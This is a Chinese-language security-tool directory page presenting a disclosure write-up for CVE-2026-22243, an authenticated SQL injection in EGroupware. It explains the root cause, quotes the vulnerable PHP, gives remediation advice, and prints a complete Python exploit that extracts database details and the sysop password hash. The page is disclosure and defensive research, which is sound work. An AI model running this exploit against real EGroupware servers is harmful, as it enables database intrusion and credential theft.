Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware 在 Nextmatch 过滤器处理中存在 SQL 注入漏洞 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-22243
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware 在 Nextmatch 过滤器处理中存在 SQL 注入漏洞

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22243:EGroupware 在 Nextmatch 过滤器处理中存在 SQL 注入漏洞

概述

字段详情
CVE 编号CVE-2026-22243
严重级别高危
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • egroupware/egroupware(版本:< 23.1.20260113)
  • egroupware/egroupware(版本:>= 26.0.20251208,< 26.0.20260113)

CWE 分类

  • CWE-89:SQL 命令中特殊元素的不当中和('SQL 注入')

详情

摘要

Nextmatch 组件过滤器处理中的严重已认证 SQL 注入漏洞

EGroupware 的核心组件中存在一个严重的 SQL 注入漏洞,具体位于 Nextmatch 过滤器处理中。该漏洞允许已认证的攻击者将任意 SQL 命令注入数据库查询的 WHERE 子句中。这是通过利用 PHP 类型混淆问题实现的,即 JSON 解码会将数字字符串转换为整数,从而绕过应用程序使用的 is_int() 安全检查。

详细说明

根本原因分析 该漏洞存在于数据库抽象层(Api\Db)和高级存储类(Api\Storage\Base、infolog_so)处理 "Nextmatch" 组件中使用的 col_filter 数组的方式。

应用程序尝试使用 is_int($key) 来验证输入,以确定数组键是否代表应受信任的原始 SQL 片段。然而,在处理基于 JSON 的 POST 请求时,PHP 的 json_decode 会自动将数字字符串键(例如 "0")转换为原生整数。

因此,攻击者可以发送一个包含数字键的关联数组的 JSON 载荷。应用程序将这些键解释为整数(is_int 返回 true),并盲目地将包含恶意 SQL 的相关联值直接附加到查询中。

存在漏洞的代码位置

  1. 文件: sources/egroupware/api/src/Db.php(约第 1776 行) 方法:column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. 文件: sources/egroupware/api/src/Storage/Base.php(约第 1134 行) 方法:parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

我已在本地 Docker 实例上验证了该漏洞,并在您的公共演示实例(demo.egroupware.net)上确认了该漏洞(只读)。

自动化利用脚本: 以下脚本通过基于错误的 SQL 注入自动完成登录、exec_id 提取和数据外泄。

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D+)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D*)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

验证证明(demo.egroupware.net):

我已针对您的公共演示环境执行了该脚本,以确认该漏洞在类生产环境(只读)中的可利用性。 图片

影响: 拥有低权限访问权限的攻击者可以完全入侵数据库。这可能导致:

  • 机密性丧失: 读取敏感数据(例如密码哈希、会话令牌、个人联系信息、配置机密)。
  • 完整性丧失: 修改或删除应用程序中的任意数据。
  • 可用性丧失: 可能删除数据表或破坏数据。

修复建议

1. 输入验证(白名单) 在处理外部输入时,不要仅仅依赖 is_int() 来做出安全决策,尤其是当 JSON 数据中的键可能是数字字符串时。在 Nextmatch 组件中,对允许用于过滤的列名实施严格的白名单(allowlist)。如果键/列不在白名单中,则拒绝该请求。

2. 参数绑定 确保所有过滤值都作为参数(预处理语句)进行绑定,而不是直接拼接到 SQL 字符串中。

3. 严格类型检查 在处理 JSON 输入时,确保在使用键之前,先针对预期类型对其进行严格检查(例如使用 === 进行严格比较或使用 filter_var),然后再用于 SQL 生成逻辑。

致谢

由 Łukasz Rybak 报告

参考链接

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

免责声明

该 CVE 已按照协调漏洞披露实践进行了负责任地披露。此处提供的信息仅供教育和防御目的使用。

下载工具